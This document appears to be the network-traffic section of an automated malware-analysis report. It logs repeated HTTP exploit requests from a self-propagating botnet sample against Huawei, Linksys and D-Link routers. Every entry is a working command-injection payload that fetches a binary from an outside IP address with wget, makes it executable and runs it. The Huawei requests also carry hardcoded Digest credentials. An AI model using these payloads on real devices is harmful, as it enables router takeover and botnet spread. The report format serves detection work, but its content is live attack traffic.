Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 31 39 32 2e 32 31 36 2e 37 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.192.216.71 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 31 39 32 2e 32 31 36 2e 37 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.192.216.71 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 31 39 32 2e 32 31 36 2e 37 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.192.216.71 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 31 39 32 2e 32 31 36 2e 37 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.192.216.71 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://212.192.216.71/bins/mips && chmod +x mips;./mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 31 39 32 2e 32 31 36 2e 37 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.192.216.71 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://212.192.216.71/bins/mips && chmod +x mips;./mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 31 39 32 2e 32 31 36 2e 37 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.192.216.71 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
